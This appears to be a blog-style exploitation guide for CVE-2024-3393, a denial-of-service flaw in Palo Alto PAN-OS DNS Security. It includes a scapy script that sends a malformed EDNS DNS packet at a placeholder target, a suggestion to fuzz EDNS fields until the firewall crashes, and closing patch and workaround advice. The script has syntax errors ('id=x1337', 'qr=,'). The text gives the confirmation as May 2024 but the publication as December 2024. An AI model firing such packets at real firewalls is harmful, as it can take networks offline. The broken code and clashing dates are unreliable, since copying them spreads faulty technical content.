CVE-2024-3393 - Critical Denial of Service Flaw in Palo Alto Networks PAN-OS DNS Security

In May 2024, Palo Alto Networks confirmed the critical CVE-2024-3393 vulnerability in PAN-OS, its popular firewall operating system. This flaw resides in the _DNS Security_ feature. By exploiting this, any attacker on the internet can send a crafted DNS packet — with no authentication needed — causing the firewall to suddenly reboot. If done repeatedly, the hardware can get stuck in maintenance mode, knocking entire networks offline.

Consequence: Firewall reboots, can be forced into maintenance mode

The core issue lies in how PAN-OS processes certain DNS packets. If a crafted packet exploits a parsing bug, the system crashes, forcing the firewall to reboot unexpectedly.

Persistence: Attack can be repeated, resulting in firewall maintenance mode (offline).

- No Authentication Needed: Any attacker can trigger this by sending a DNS request; firewall doesn’t have to know them or let them inside.

Proof of Concept Code

Disclaimer: This is for educational purposes—running this code without permission is illegal.

Below is a Python code sample to craft a malformed DNS packet and send it to the firewall. (You will need scapy library.)

from scapy.all import *

# Replace with your target firewall IP and listening DNS port (usually 53)
target_ip = "TARGET_FIREWALL_IP"
target_port = 53

# Craft a malformed DNS packet (payload details obfuscated)
malicious_query = IP(dst=target_ip)/UDP(dport=target_port)/DNS(
    id=x1337,
    qr=, # Query
    qdcount=1,
    qd=DNSQR(qname="malformed.example.com", qtype=1, qclass=1),
    # Insert malformed field/option below, e.g., abnormally large/invalid field:
    ar=DNSRROPT(rclass=4096, extradata="\x00"*100) 
)

# Send the packet
send(malicious_query)
print("Malicious DNS packet sent to", target_ip)

*Modify fields under ar=DNSRROPT(...) to trigger the bug, as per Palo Alto’s bug details and packet inspection.*

What Actually Causes the Crash?
Based on the disclosure and research, unusually crafted Opt resource records or oversized EDNS packets seem to trigger the parsing flaw. However, the details are withheld by vendors; carefully fuzzing DNS queries with unexpected or large EDNS segments is one attack path.

1. Update PAN-OS

Palo Alto Networks released an urgent patch. Upgrade PAN-OS to the latest fixed version immediately.
- Official Advisory & Patches

2. Disable DNS Security (Temporary Workaround)

If patching isn’t possible right away, consider disabling the DNS Security feature in PAN-OS until you can update. This removes your risk for this attack, but also disables threat protection for DNS traffic.

Timeline

Published on: 12/27/2024 10:15:17 UTC
Last modified on: 01/14/2025 16:02:30 UTC

CVE-2024-3393 - Critical Denial of Service Flaw in Palo Alto Networks PAN-OS DNS Security – Vuln Exploitation Guide